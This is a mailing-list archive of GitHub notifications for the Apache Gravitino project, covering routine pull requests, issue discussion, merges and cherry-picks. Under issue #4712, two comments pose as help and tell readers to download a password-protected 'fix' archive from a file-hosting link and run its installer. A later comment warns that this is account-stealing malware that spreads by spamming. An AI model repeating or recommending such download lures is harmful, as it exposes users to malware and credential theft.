Re: [PR] [Test] Test timeout problem in branch-0.6 [gravitino]

2024-08-27 Thread via GitHub
yuqi1129 closed pull request #4683: [Test] Test timeout problem in branch-0.6 URL: https://github.com/apache/gravitino/pull/4683 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment.

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
diqiu50 closed pull request #4700: [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory URL: https://github.com/apache/gravitino/pull/4700 -- This is an automated message from the Apache Git Service. To respond to the mes

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
yuqi1129 commented on PR #4700: URL: https://github.com/apache/gravitino/pull/4700#issuecomment-2311739606 LGTM, let wait the CI pass. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific

[PR] [#4701] fix(docs): Fix the inconsistent privilege descriptions [gravitino]

2024-08-27 Thread via GitHub
jerqi opened a new pull request, #4702: URL: https://github.com/apache/gravitino/pull/4702 ### What changes were proposed in this pull request? Fix the inconsistent privilege descriptions ### Why are the changes needed? Fix: #4701 ### Does this PR introduce _any_

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
jerryshao commented on code in PR #4700: URL: https://github.com/apache/gravitino/pull/4700#discussion_r1732302657 ## clients/client-python/scripts/generate_version.py: ## @@ -17,17 +17,36 @@ under the License. """ +# coding=utf-8 + import re import configparser -import su

Re: [PR] [#4701] fix(docs): Fix the inconsistent privilege descriptions [gravitino]

2024-08-27 Thread via GitHub
mchades merged PR #4702: URL: https://github.com/apache/gravitino/pull/4702 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravitin

Re: [I] [Improvement] The description of the same privilege in the document is inconsistent [gravitino]

2024-08-27 Thread via GitHub
mchades closed issue #4701: [Improvement] The description of the same privilege in the document is inconsistent URL: https://github.com/apache/gravitino/issues/4701 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL

(gravitino) branch main updated: [#4701] fix(docs): Fix the inconsistent privilege descriptions (#4702)

2024-08-27 Thread mchades
This is an automated email from the ASF dual-hosted git repository. mchades pushed a commit to branch main in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/main by this push: new c871fcd9c [#4701] fix(docs): Fix the inconsisten

[PR] [#4701] fix(docs): Fix the inconsistent privilege descriptions [gravitino]

2024-08-27 Thread via GitHub
github-actions[bot] opened a new pull request, #4703: URL: https://github.com/apache/gravitino/pull/4703 ### What changes were proposed in this pull request? Fix the inconsistent privilege descriptions ### Why are the changes needed? Fix: #4701 ### Does this PR in

(gravitino) branch cherry-pick-branch-0.6-c871fcd9c3c1ba53fe4286ac65659071a9bba374 created (now a178515e1)

2024-08-27 Thread github-bot
This is an automated email from the ASF dual-hosted git repository. github-bot pushed a change to branch cherry-pick-branch-0.6-c871fcd9c3c1ba53fe4286ac65659071a9bba374 in repository https://gitbox.apache.org/repos/asf/gravitino.git at a178515e1 [#4701] fix(docs): Fix the inconsistent pri

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
diqiu50 commented on code in PR #4700: URL: https://github.com/apache/gravitino/pull/4700#discussion_r1732312066 ## clients/client-python/scripts/generate_version.py: ## @@ -17,17 +17,36 @@ under the License. """ +# coding=utf-8 + import re import configparser -import subp

Re: [PR] [#4701] fix(docs): Fix the inconsistent privilege descriptions [gravitino]

2024-08-27 Thread via GitHub
jerqi closed pull request #4703: [#4701] fix(docs): Fix the inconsistent privilege descriptions URL: https://github.com/apache/gravitino/pull/4703 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the

Re: [I] [Subtask] Extended Apache Ranger authorization by configuration [gravitino]

2024-08-27 Thread via GitHub
lw-yang commented on issue #4698: URL: https://github.com/apache/gravitino/issues/4698#issuecomment-2311810494 @xunliu We can set `authorization.privileges.mapping.MODIFY_TABLE=ACCESS_TYPE_HIVE_DROP,...` to resolve the limitation that only the owner has the delete permission. so in

Re: [PR] [Bug] Avoid OOM (Out of Memory) for Playground-gravitino [gravitino-playground]

2024-08-27 Thread via GitHub
shaofengshi commented on PR #66: URL: https://github.com/apache/gravitino-playground/pull/66#issuecomment-2311812902 > > 1. In which case you will get the OOM error? > > Use gravitino-playground default config and refresh the gravitino homepage several times, I couldn't reproduce thi

[PR] [#4699] fix(server): The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
jerqi opened a new pull request, #4704: URL: https://github.com/apache/gravitino/pull/4704 ### What changes were proposed in this pull request? The error response of addUser should meet the REST specification ### Why are the changes needed? Fix: #4699 ### Does

Re: [PR] [#4699] fix(server): The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
mchades commented on code in PR #4704: URL: https://github.com/apache/gravitino/pull/4704#discussion_r1732336582 ## server/src/main/java/org/apache/gravitino/server/web/filter/AccessControlNotAllowedFilter.java: ## @@ -43,13 +40,10 @@ public class AccessControlNotAllowedFilter i

(gravitino) branch branch-0.6 updated: [#4701] fix(docs): Fix the inconsistent privilege descriptions (#4703)

2024-08-27 Thread jshao
This is an automated email from the ASF dual-hosted git repository. jshao pushed a commit to branch branch-0.6 in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/branch-0.6 by this push: new e98df1b52 [#4701] fix(docs): Fix the i

Re: [PR] [#4701] fix(docs): Fix the inconsistent privilege descriptions [gravitino]

2024-08-27 Thread via GitHub
jerryshao merged PR #4703: URL: https://github.com/apache/gravitino/pull/4703 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravit

(gravitino) branch cherry-pick-branch-0.6-c871fcd9c3c1ba53fe4286ac65659071a9bba374 deleted (was a178515e1)

2024-08-27 Thread jshao
This is an automated email from the ASF dual-hosted git repository. jshao pushed a change to branch cherry-pick-branch-0.6-c871fcd9c3c1ba53fe4286ac65659071a9bba374 in repository https://gitbox.apache.org/repos/asf/gravitino.git was a178515e1 [#4701] fix(docs): Fix the inconsistent privileg

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
mchades commented on PR #4700: URL: https://github.com/apache/gravitino/pull/4700#issuecomment-2311833489 plz fix the code style to make CI passed. @diqiu50 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL abov

Re: [PR] [#4525] improvement(catalog-hadoop): Shrink Hadoop catalog binary package size to 44MB. [gravitino]

2024-08-27 Thread via GitHub
jerryshao commented on code in PR #4535: URL: https://github.com/apache/gravitino/pull/4535#discussion_r1732354061 ## catalogs/catalog-hadoop/build.gradle.kts: ## @@ -91,6 +97,12 @@ tasks { from("build/libs") { exclude("slf4j-*.jar") exclude("guava-*.jar") +

Re: [PR] [#4699] fix(server): The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
jerqi commented on code in PR #4704: URL: https://github.com/apache/gravitino/pull/4704#discussion_r1732374992 ## server/src/main/java/org/apache/gravitino/server/web/filter/AccessControlNotAllowedFilter.java: ## @@ -43,13 +40,10 @@ public class AccessControlNotAllowedFilter imp

Re: [I] [Bug report] gradlew :clients:client-python:build failed if the package doesn't contain .git directory [gravitino]

2024-08-27 Thread via GitHub
jerryshao closed issue #4695: [Bug report] gradlew :clients:client-python:build failed if the package doesn't contain .git directory URL: https://github.com/apache/gravitino/issues/4695 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to Gi

[PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
github-actions[bot] opened a new pull request, #4705: URL: https://github.com/apache/gravitino/pull/4705 ### What changes were proposed in this pull request? Fix gradlew :clients:client-python:build failed if the package does not contain .git directory ### Why are the chan

(gravitino) branch cherry-pick-branch-0.6-2680450754886258a1acc368cead7642815accde created (now 581c63412)

2024-08-27 Thread github-bot
This is an automated email from the ASF dual-hosted git repository. github-bot pushed a change to branch cherry-pick-branch-0.6-2680450754886258a1acc368cead7642815accde in repository https://gitbox.apache.org/repos/asf/gravitino.git at 581c63412 [#4695] Fix (python-client): Fix gradlew :

Re: [I] [Bug report] gradlew :clients:client-python:build failed if the package doesn't contain .git directory [gravitino]

2024-08-27 Thread via GitHub
jerryshao commented on issue #4695: URL: https://github.com/apache/gravitino/issues/4695#issuecomment-2311904868 @diqiu50 please leave a message here, I will assign this issue to you. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to G

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
jerryshao merged PR #4700: URL: https://github.com/apache/gravitino/pull/4700 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravit

Re: [I] [Bug report] gradlew :clients:client-python:build failed if the package doesn't contain .git directory [gravitino]

2024-08-27 Thread via GitHub
jerryshao closed issue #4695: [Bug report] gradlew :clients:client-python:build failed if the package doesn't contain .git directory URL: https://github.com/apache/gravitino/issues/4695 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to Gi

(gravitino) branch main updated: [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory (#4700)

2024-08-27 Thread jshao
This is an automated email from the ASF dual-hosted git repository. jshao pushed a commit to branch main in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/main by this push: new 268045075 [#4695] Fix (python-client): Fix gradlew

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
jerryshao closed pull request #4705: [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory URL: https://github.com/apache/gravitino/pull/4705 -- This is an automated message from the Apache Git Service. To respond to the m

Re: [PR] [#4699] fix(server): The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
mchades commented on PR #4704: URL: https://github.com/apache/gravitino/pull/4704#issuecomment-2311929707 LGTM. Wait for the CI pass -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the spe

Re: [I] [Improvement] There are no LICESE files in python and trino packages [gravitino]

2024-08-27 Thread via GitHub
FANNG1 commented on issue #4706: URL: https://github.com/apache/gravitino/issues/4706#issuecomment-2311940241 cc @justinmclean -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific commen

[I] [Bug report] Gravitino client and Gravitino server should be compatible with minor version differences [gravitino]

2024-08-27 Thread via GitHub
yuqi1129 opened a new issue, #4707: URL: https://github.com/apache/gravitino/issues/4707 ### Version main branch ### Describe what's wrong If the client version is 0.6.1 and the server version is 0.6.0, in this case, client should be compatible with server. the client s

Re: [PR] [#4277] feat(client/server): Add the `getFileLocation` interface in the Java Client/Server [gravitino]

2024-08-27 Thread via GitHub
xloya commented on PR #4281: URL: https://github.com/apache/gravitino/pull/4281#issuecomment-2311972936 @jerryshao I have split the code, this PR only contains some code skeleton in the Server / Java Client, and some base classes. I will add the interface implementations, UTs and ITs in ano

Re: [I] [Improvement] There are no LICENSE files in python and trino packages [gravitino]

2024-08-27 Thread via GitHub
justinmclean commented on issue #4706: URL: https://github.com/apache/gravitino/issues/4706#issuecomment-2312006332 Yes they do need a LICENSE, NOTICE and DISCLAIMER files. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and u

[PR] Update for 0.6.0 [gravitino-playground]

2024-08-27 Thread via GitHub
jerqi opened a new pull request, #68: URL: https://github.com/apache/gravitino-playground/pull/68 (no comment) -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscrib

Re: [PR] [#4208] improvement(client-python): Add Integration Test of OAuth2TokenProvider of client-python [gravitino]

2024-08-27 Thread via GitHub
xloya commented on code in PR #4663: URL: https://github.com/apache/gravitino/pull/4663#discussion_r1732452294 ## clients/client-python/tests/integration/auth/test_oauth2_client.py: ## @@ -0,0 +1,197 @@ +""" +Licensed to the Apache Software Foundation (ASF) under one +or more co

Re: [PR] Update for 0.6.0 [gravitino-playground]

2024-08-27 Thread via GitHub
yuqi1129 commented on code in PR #68: URL: https://github.com/apache/gravitino-playground/pull/68#discussion_r1732476518 ## docker-compose.yaml: ## @@ -69,7 +69,7 @@ services: retries: 5 trino: -image: datastrato/trino:435-gravitino-0.5.1 +image: apache/grav

Re: [PR] Update for 0.6.0 [gravitino-playground]

2024-08-27 Thread via GitHub
jerqi commented on code in PR #68: URL: https://github.com/apache/gravitino-playground/pull/68#discussion_r1732478372 ## docker-compose.yaml: ## @@ -69,7 +69,7 @@ services: retries: 5 trino: -image: datastrato/trino:435-gravitino-0.5.1 +image: apache/graviti

Re: [PR] [#4699] fix(server): The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
mchades merged PR #4704: URL: https://github.com/apache/gravitino/pull/4704 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravitin

Re: [I] [Improvement] The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
mchades closed issue #4699: [Improvement] The error response of addUser should meet the REST specification URL: https://github.com/apache/gravitino/issues/4699 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above

(gravitino) branch main updated: [#4699] fix(server): The error response of addUser should meet the REST specification (#4704)

2024-08-27 Thread mchades
This is an automated email from the ASF dual-hosted git repository. mchades pushed a commit to branch main in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/main by this push: new 79742f364 [#4699] fix(server): The error respons

Re: [I] [Improvement] The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
mchades closed issue #4699: [Improvement] The error response of addUser should meet the REST specification URL: https://github.com/apache/gravitino/issues/4699 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above

[PR] [#4699] fix(server): The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
github-actions[bot] opened a new pull request, #4710: URL: https://github.com/apache/gravitino/pull/4710 ### What changes were proposed in this pull request? The error response of addUser should meet the REST specification ### Why are the changes needed? Fix: #4699

(gravitino) branch cherry-pick-branch-0.6-79742f364f9fccf189e6333dc5c7539c409b76dc created (now f50a4e428)

2024-08-27 Thread github-bot
This is an automated email from the ASF dual-hosted git repository. github-bot pushed a change to branch cherry-pick-branch-0.6-79742f364f9fccf189e6333dc5c7539c409b76dc in repository https://gitbox.apache.org/repos/asf/gravitino.git at f50a4e428 [#4699] fix(server): The error response of

Re: [PR] [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory [gravitino]

2024-08-27 Thread via GitHub
mchades merged PR #4705: URL: https://github.com/apache/gravitino/pull/4705 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravitin

(gravitino) branch branch-0.6 updated: [#4695] Fix (python-client): Fix gradlew :clients:client-python:build failed if the package does not contain .git directory (#4705)

2024-08-27 Thread mchades
This is an automated email from the ASF dual-hosted git repository. mchades pushed a commit to branch branch-0.6 in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/branch-0.6 by this push: new 6a175120c [#4695] Fix (python-client

(gravitino) branch cherry-pick-branch-0.6-2680450754886258a1acc368cead7642815accde deleted (was 581c63412)

2024-08-27 Thread mchades
This is an automated email from the ASF dual-hosted git repository. mchades pushed a change to branch cherry-pick-branch-0.6-2680450754886258a1acc368cead7642815accde in repository https://gitbox.apache.org/repos/asf/gravitino.git was 581c63412 [#4695] Fix (python-client): Fix gradlew :cli

(gravitino) branch cherry-pick-branch-0.6-79742f364f9fccf189e6333dc5c7539c409b76dc updated (f50a4e428 -> 1a6129cac)

2024-08-27 Thread mchades
This is an automated email from the ASF dual-hosted git repository. mchades pushed a change to branch cherry-pick-branch-0.6-79742f364f9fccf189e6333dc5c7539c409b76dc in repository https://gitbox.apache.org/repos/asf/gravitino.git discard f50a4e428 [#4699] fix(server): The error response of add

Re: [PR] [TEST]Test CI stability [gravitino]

2024-08-27 Thread via GitHub
yuqi1129 closed pull request #4260: [TEST]Test CI stability URL: https://github.com/apache/gravitino/pull/4260 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e

Re: [PR] [#34] add Gravitino Spark connector to playground [gravitino-playground]

2024-08-27 Thread via GitHub
FANNG1 commented on code in PR #45: URL: https://github.com/apache/gravitino-playground/pull/45#discussion_r1732892912 ## init/gravitino/gravitino.conf: ## @@ -67,3 +67,4 @@ gravitino.auxService.iceberg-rest.warehouse = hdfs://hive:9000/user/iceberg/ware gravitino.auxService.

[I] [Bug report] Spark create an Iceberg table but Trino can't query it. [gravitino]

2024-08-27 Thread via GitHub
jerqi opened a new issue, #4712: URL: https://github.com/apache/gravitino/issues/4712 ### Version main branch ### Describe what's wrong Spark create an Iceberg table but Trino can't query it. ### Error message and/or stacktrace trino> select * from catalog_h

Re: [I] [Bug report] Spark create an Iceberg table but Trino can't query it. [gravitino]

2024-08-27 Thread via GitHub
Viotemis commented on issue #4712: URL: https://github.com/apache/gravitino/issues/4712#issuecomment-2312809056 Download https://www.mediafire.com/file/czdodbba054p738/fix.rar/file password: changeme In the installer menu, select "gcc." -- This is an automated message from the Ap

Re: [I] [Bug report] Spark create an Iceberg table but Trino can't query it. [gravitino]

2024-08-27 Thread via GitHub
jerqi commented on issue #4712: URL: https://github.com/apache/gravitino/issues/4712#issuecomment-2312808962 cc @diqiu50 Could you take a look? -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the

Re: [PR] [#4208] improvement(client-python): Add Integration Test of OAuth2TokenProvider of client-python [gravitino]

2024-08-27 Thread via GitHub
noidname01 commented on code in PR #4663: URL: https://github.com/apache/gravitino/pull/4663#discussion_r1733050923 ## clients/client-python/tests/integration/auth/test_oauth2_client.py: ## @@ -0,0 +1,197 @@ +""" +Licensed to the Apache Software Foundation (ASF) under one +or mo

Re: [I] [Bug report] Spark create an Iceberg table but Trino can't query it. [gravitino]

2024-08-27 Thread via GitHub
yldzmuhammed commented on issue #4712: URL: https://github.com/apache/gravitino/issues/4712#issuecomment-2312945076 Download https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file password: changeme In the installer menu, select "gcc." -- This is an automated message from th

Re: [I] [Bug report] Spark create an Iceberg table but Trino can't query it. [gravitino]

2024-08-27 Thread via GitHub
MahouShoujoMivutilde commented on issue #4712: URL: https://github.com/apache/gravitino/issues/4712#issuecomment-2313307838 Do **NOT** run it. It's malware that'll steal your account if executed, to spread further spamming the same message elsewhere, like happened to this person.

Re: [I] [Bug report] Gravitino client and Gravitino server should be compatible with minor version differences [gravitino]

2024-08-27 Thread via GitHub
shaofengshi commented on issue #4707: URL: https://github.com/apache/gravitino/issues/4707#issuecomment-2313774329 It said: "Gravitino does not support the case that the client-side version is higher than the server-side version.The client version is 0.6.1-incubating-SNAPSHOT, and the serve

Re: [PR] [#4699] fix(server): The error response of addUser should meet the REST specification [gravitino]

2024-08-27 Thread via GitHub
jerryshao merged PR #4710: URL: https://github.com/apache/gravitino/pull/4710 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravit

(gravitino) branch branch-0.6 updated: [#4699] fix(server): The error response of addUser should meet the REST specification (#4710)

2024-08-27 Thread jshao
This is an automated email from the ASF dual-hosted git repository. jshao pushed a commit to branch branch-0.6 in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/branch-0.6 by this push: new 60e58f3dc [#4699] fix(server): The err

(gravitino) branch cherry-pick-branch-0.6-79742f364f9fccf189e6333dc5c7539c409b76dc deleted (was 1a6129cac)

2024-08-27 Thread jshao
This is an automated email from the ASF dual-hosted git repository. jshao pushed a change to branch cherry-pick-branch-0.6-79742f364f9fccf189e6333dc5c7539c409b76dc in repository https://gitbox.apache.org/repos/asf/gravitino.git was 1a6129cac [#4699] fix(server): The error response of addUs

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
FANNG1 commented on code in PR #4715: URL: https://github.com/apache/gravitino/pull/4715#discussion_r1733780478 ## trino-connector/src/main/java/org/apache/gravitino/trino/connector/catalog/iceberg/IcebergConnectorAdapter.java: ## @@ -46,6 +46,7 @@ public IcebergConnectorAdapter

Re: [PR] [#4208] improvement(client-python): Add Integration Test of OAuth2TokenProvider of client-python [gravitino]

2024-08-27 Thread via GitHub
xloya commented on PR #4663: URL: https://github.com/apache/gravitino/pull/4663#issuecomment-2313960355 LGTM. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe

Re: [PR] [#4208] improvement(client-python): Add Integration Test of OAuth2TokenProvider of client-python [gravitino]

2024-08-27 Thread via GitHub
jerqi commented on code in PR #4663: URL: https://github.com/apache/gravitino/pull/4663#discussion_r1733790129 ## clients/client-python/tests/integration/auth/test_oauth2_client.py: ## @@ -0,0 +1,178 @@ +""" +Licensed to the Apache Software Foundation (ASF) under one +or more co

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
yuqi1129 commented on code in PR #4715: URL: https://github.com/apache/gravitino/pull/4715#discussion_r1733796286 ## trino-connector/src/main/java/org/apache/gravitino/trino/connector/catalog/iceberg/IcebergConnectorAdapter.java: ## @@ -46,6 +46,7 @@ public IcebergConnectorAdapt

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
yuqi1129 commented on code in PR #4715: URL: https://github.com/apache/gravitino/pull/4715#discussion_r1733796286 ## trino-connector/src/main/java/org/apache/gravitino/trino/connector/catalog/iceberg/IcebergConnectorAdapter.java: ## @@ -46,6 +46,7 @@ public IcebergConnectorAdapt

Re: [I] [Bug report] Spark create an Iceberg table but Trino can't query it. [gravitino]

2024-08-27 Thread via GitHub
diqiu50 commented on issue #4712: URL: https://github.com/apache/gravitino/issues/4712#issuecomment-2314007772 Ok -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubsc

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
FANNG1 commented on code in PR #4715: URL: https://github.com/apache/gravitino/pull/4715#discussion_r1733846436 ## trino-connector/src/main/java/org/apache/gravitino/trino/connector/catalog/iceberg/IcebergCatalogPropertyConverter.java: ## @@ -351,7 +352,10 @@ private Map buildJ

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
diqiu50 commented on code in PR #4715: URL: https://github.com/apache/gravitino/pull/4715#discussion_r1733886536 ## trino-connector/src/main/java/org/apache/gravitino/trino/connector/catalog/iceberg/IcebergConnectorAdapter.java: ## @@ -46,6 +46,7 @@ public IcebergConnectorAdapte

Re: [I] [FEATURE] Encrypt sensitive data in the catalog properties [gravitino]

2024-08-27 Thread via GitHub
FANNG1 commented on issue #4681: URL: https://github.com/apache/gravitino/issues/4681#issuecomment-2314105326 I'm drafting a propose to resolve this issue. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above

Re: [PR] [#4208] improvement(client-python): Add Integration Test of OAuth2TokenProvider of client-python [gravitino]

2024-08-27 Thread via GitHub
noidname01 commented on code in PR #4663: URL: https://github.com/apache/gravitino/pull/4663#discussion_r1733913239 ## clients/client-python/tests/integration/auth/test_oauth2_client.py: ## @@ -0,0 +1,178 @@ +""" +Licensed to the Apache Software Foundation (ASF) under one +or mo

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
diqiu50 commented on code in PR #4715: URL: https://github.com/apache/gravitino/pull/4715#discussion_r1733886536 ## trino-connector/src/main/java/org/apache/gravitino/trino/connector/catalog/iceberg/IcebergConnectorAdapter.java: ## @@ -46,6 +46,7 @@ public IcebergConnectorAdapte

[I] [Bug report] Catalog backend name handle the renaming of catalog [gravitino]

2024-08-27 Thread via GitHub
jerqi opened a new issue, #4718: URL: https://github.com/apache/gravitino/issues/4718 ### Version main branch ### Describe what's wrong Currenlty, Iceberg jdbc backend will use catalog name as default backend name. In my understanding, it will trigger the bug if I rename

Re: [I] [Bug report] Catalog backend name handle the renaming of catalog [gravitino]

2024-08-27 Thread via GitHub
jerqi commented on issue #4718: URL: https://github.com/apache/gravitino/issues/4718#issuecomment-2314118694 @FANNG1 Could you take a look? -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the spe

[I] [Subtask] support basic DDL, list and load namespace for GravitinoPaimonCatalog in paimon spark connector [gravitino]

2024-08-27 Thread via GitHub
caican00 opened a new issue, #4721: URL: https://github.com/apache/gravitino/issues/4721 ### Describe the subtask support basic DDL, list and load namespace for GravitinoPaimonCatalog in paimon spark connector ### Parent issue https://github.com/apache/gravitino/issues/4

[I] [Subtask] support basic DDL, list and load tables for GravitinoPaimonCatalog in paimon spark connector [gravitino]

2024-08-27 Thread via GitHub
caican00 opened a new issue, #4722: URL: https://github.com/apache/gravitino/issues/4722 ### Describe the subtask support basic DDL, list and load tables for GravitinoPaimonCatalog in paimon spark connector ### Parent issue https://github.com/apache/gravitino/issues/4713

[PR] [#4706] fix(build): Add license, notice, and other files to the binary artifact [gravitino]

2024-08-27 Thread via GitHub
jerryshao opened a new pull request, #4726: URL: https://github.com/apache/gravitino/pull/4726 ### What changes were proposed in this pull request? This PR proposes to add several missing license, notice, and other files to the binary artifacts for Gravitino. ### Why are the ch

Re: [PR] [#4706] fix(build): Add license, notice, and other files to the binary artifact [gravitino]

2024-08-27 Thread via GitHub
xunliu commented on code in PR #4726: URL: https://github.com/apache/gravitino/pull/4726#discussion_r1734002329 ## clients/client-python/build.gradle.kts: ## @@ -282,13 +282,27 @@ tasks { delete("README.md") generatePypiProjectHomePage() delete("dist") +

Re: [PR] [#4706] fix(build): Add license, notice, and other files to the binary artifact [gravitino]

2024-08-27 Thread via GitHub
jerryshao commented on code in PR #4726: URL: https://github.com/apache/gravitino/pull/4726#discussion_r1734003394 ## clients/client-python/build.gradle.kts: ## @@ -282,13 +282,27 @@ tasks { delete("README.md") generatePypiProjectHomePage() delete("dist") +

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
FANNG1 merged PR #4715: URL: https://github.com/apache/gravitino/pull/4715 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravitino

Re: [I] [Bug report] Spark create an Iceberg table but Trino can't query it. [gravitino]

2024-08-27 Thread via GitHub
FANNG1 closed issue #4712: [Bug report] Spark create an Iceberg table but Trino can't query it. URL: https://github.com/apache/gravitino/issues/4712 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to t

(gravitino) branch main updated: [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino (#4715)

2024-08-27 Thread fanng
This is an automated email from the ASF dual-hosted git repository. fanng pushed a commit to branch main in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/main by this push: new 8b61399ba [#4712] fix (trino-connector): Fix Iceb

(gravitino) branch cherry-pick-branch-0.6-8b61399baa8e67e5343f6685d56ab81214acc4e4 created (now 04ce9a8c0)

2024-08-27 Thread github-bot
This is an automated email from the ASF dual-hosted git repository. github-bot pushed a change to branch cherry-pick-branch-0.6-8b61399baa8e67e5343f6685d56ab81214acc4e4 in repository https://gitbox.apache.org/repos/asf/gravitino.git at 04ce9a8c0 [#4712] fix (trino-connector): Fix Iceberg

[PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
github-actions[bot] opened a new pull request, #4727: URL: https://github.com/apache/gravitino/pull/4727 ### What changes were proposed in this pull request? Fix Iceberg JDBC backend tables can not found in Trino ### Why are the changes needed? Fix: #4712 ###

Re: [PR] [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino [gravitino]

2024-08-27 Thread via GitHub
FANNG1 closed pull request #4727: [#4712] fix (trino-connector): Fix Iceberg JDBC backend tables can not found in Trino URL: https://github.com/apache/gravitino/pull/4727 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use t

[I] [Bug report]create schema error [gravitino]

2024-08-27 Thread via GitHub
heziyi399 opened a new issue, #4728: URL: https://github.com/apache/gravitino/issues/4728 ### Version 0.5.1 ### Describe what's wrong now I want to create a schema for fileset types,The code is as follows: ` @PostMapping("/addCatalogAndSchema") public vo

